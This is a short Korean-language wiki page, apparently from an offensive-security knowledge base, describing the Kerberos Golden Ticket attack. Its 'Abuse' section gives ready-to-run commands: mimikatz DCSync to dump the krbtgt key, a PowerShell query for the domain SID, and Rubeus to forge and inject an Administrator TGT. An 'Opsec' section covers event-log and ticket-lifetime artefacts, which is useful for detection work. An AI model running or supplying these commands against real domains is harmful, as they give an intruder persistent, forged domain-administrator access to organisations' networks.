Golden Tickets

골든 티켓은 도메인 krbtgt의 비밀키(nt 해시 등)를 확보했을 때, TGT 정보를 조작하여 높은 권한을 획득하는 공격입니다. krbtgt는 사람이 사용하는 패스워드가 아니기 때문에 골든 티켓 공격은 이미 도메인 관리자 권한을 획득했을 때 높은 권한을 지속적으로 사용하기 위한 지속성 공격입니다.

Abuse

# krbtgt의 커버로스 키(AES256) 덤프
mimikatz # lsadump::dcsync /user:contoso\krbtgt /domain:contoso.com

# 도메인 SID 덤프
Import-Module ActiveDirectory
(Get-ADDomain).DomainSID.Value

# 티켓 생성 및 환경변수 등록
.\Rubeus.exe golden /aes256:d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb /user:Administrator /domain:contoso.com /sid:S-1-5-21-2835490888-2107562977-246861531 /nowrap /ptt

Opsec

Golden 티켓은 TGT를 공격자 로컬에서 생성하는 방식입니다. KDC와 통신하지 않기 때문에 일반적인 커버로스 이벤트와 다르게 사전 인증 단계에 해당하는 4768 이벤트가 기록되지 않습니다.

일반 커버로스 이벤트 로그
골든 티켓 사용 시 이벤트 로그

추가적으로 상용 도구는 발급하는 티켓의 유효 기간을 길게 잡기 때문에 renewable-ok 플래그를 활성화하여 TGS-REQ 패킷을 전송하기 때문에 이벤트 로그의 Ticket Options 값도 상이합니다.

커버로스 티켓의 기본적인 유효 기간은 10시간입니다. 하지만 impacket에서 서비스 티켓 요청 시 라이프타임을 24시간으로 요청하며 심지어 Rubeus는 라이프타임을 10년으로 잡기도 합니다.

서버에서 티켓이 갱신 가능한 상태라면 Maximum lifetime for user ticket renewal 속성에서 정의하는 기간의 최대값만큼 티켓 유효 기간을 설정하여 응답합니다.

TGS-REQ
TGS-REP

위 패킷은 Rubeus로 생성한 TGS-REQ입니다. TGS-REQ에서 Rubeus는 티켓의 만료 기간을 12년 뒤로 설정했지만, 도메인에서는 최대 갱신 기간을 7일로 한정하기 때문에 7일 뒤까지 유효한 티켓을 반환합니다.

References

Last updated

Was this helpful?